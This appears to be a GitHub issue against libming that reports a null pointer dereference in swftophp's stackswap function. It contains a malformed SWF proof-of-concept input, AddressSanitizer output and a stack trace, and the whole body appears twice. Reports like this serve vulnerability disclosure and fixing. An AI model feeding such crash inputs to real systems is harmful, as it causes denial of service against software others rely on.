swftophp $poc

FWSWF^N^NWF^N^X^@@^Y^N���^N^N^Y! ~_~_^N^Y^@^@^@^?~_~_�~_~_~_MQQQQQQQQQQQQQQQQQQQQQQQ5��W'^N^X^@^[^Y^N

asan output

root@f960c0e3747a:/libming/util# ./swftophp /libming-ming-0_4_8/temp/crash1 
header indicates a filesize of 1460538950 but filesize is 72
<?php
$m = new SWFMovie(87);

ming_setscale(1.0);
$m->setRate(14.097656);
$m->setDimension(2, 8);

/* Note: xMin and/or yMin are not 0! */

$m->setFrames(65528);

/* SWF_INITACTION */
/* Might be more appropriate to use addInitAction here*/
$m->add(new SWFInitAction(ASAN:SIGSEGV
=================================================================
==38500==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000411eab bp 0x7fff6ac73510 sp 0x7fff6ac73500 T0)
    #0 0x411eaa in stackswap /libming/util/decompile.c:629
    #1 0x414944 in decompileSTACKSWAP /libming/util/decompile.c:1344
    #2 0x41e042 in decompileAction /libming/util/decompile.c:3159
    #3 0x41e750 in decompileActions /libming/util/decompile.c:3401
    #4 0x41e87d in decompile5Action /libming/util/decompile.c:3423
    #5 0x40ccae in outputSWF_INITACTION /libming/util/outputscript.c:1856
    #6 0x40ddfd in outputBlock /libming/util/outputscript.c:2079
    #7 0x40ee2f in readMovie /libming/util/main.c:277
    #8 0x40f55e in main /libming/util/main.c:350
    #9 0x7f35d836482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x401af8 in _start (/libming/util/.libs/lt-swftophp+0x401af8)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /libming/util/decompile.c:629 stackswap
==38500==ABORTING
null pointer reference in stackswap
This is a GitHub Issue
repo:libming
owner:libming
Title : null pointer reference in stackswap
Issue date:

--- start body ---
swftophp $poc

FWSWF^N^NWF^N^X^@@^Y^N���^N^N^Y! ~_~_^N^Y^@^@^@^?~_~_�~_~_~_MQQQQQQQQQQQQQQQQQQQQQQQ5��W'^N^X^@^[^Y^N

asan output

root@f960c0e3747a:/libming/util# ./swftophp /libming-ming-0_4_8/temp/crash1 
header indicates a filesize of 1460538950 but filesize is 72
<?php
$m = new SWFMovie(87);

ming_setscale(1.0);
$m->setRate(14.097656);
$m->setDimension(2, 8);

/* Note: xMin and/or yMin are not 0! */

$m->setFrames(65528);

/* SWF_INITACTION */
/* Might be more appropriate to use addInitAction here*/
$m->add(new SWFInitAction(ASAN:SIGSEGV
=================================================================
==38500==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000411eab bp 0x7fff6ac73510 sp 0x7fff6ac73500 T0)
    #0 0x411eaa in stackswap /libming/util/decompile.c:629
    #1 0x414944 in decompileSTACKSWAP /libming/util/decompile.c:1344
    #2 0x41e042 in decompileAction /libming/util/decompile.c:3159
    #3 0x41e750 in decompileActions /libming/util/decompile.c:3401
    #4 0x41e87d in decompile5Action /libming/util/decompile.c:3423
    #5 0x40ccae in outputSWF_INITACTION /libming/util/outputscript.c:1856
    #6 0x40ddfd in outputBlock /libming/util/outputscript.c:2079
    #7 0x40ee2f in readMovie /libming/util/main.c:277
    #8 0x40f55e in main /libming/util/main.c:350
    #9 0x7f35d836482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x401af8 in _start (/libming/util/.libs/lt-swftophp+0x401af8)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /libming/util/decompile.c:629 stackswap
==38500==ABORTING
--- end body ---
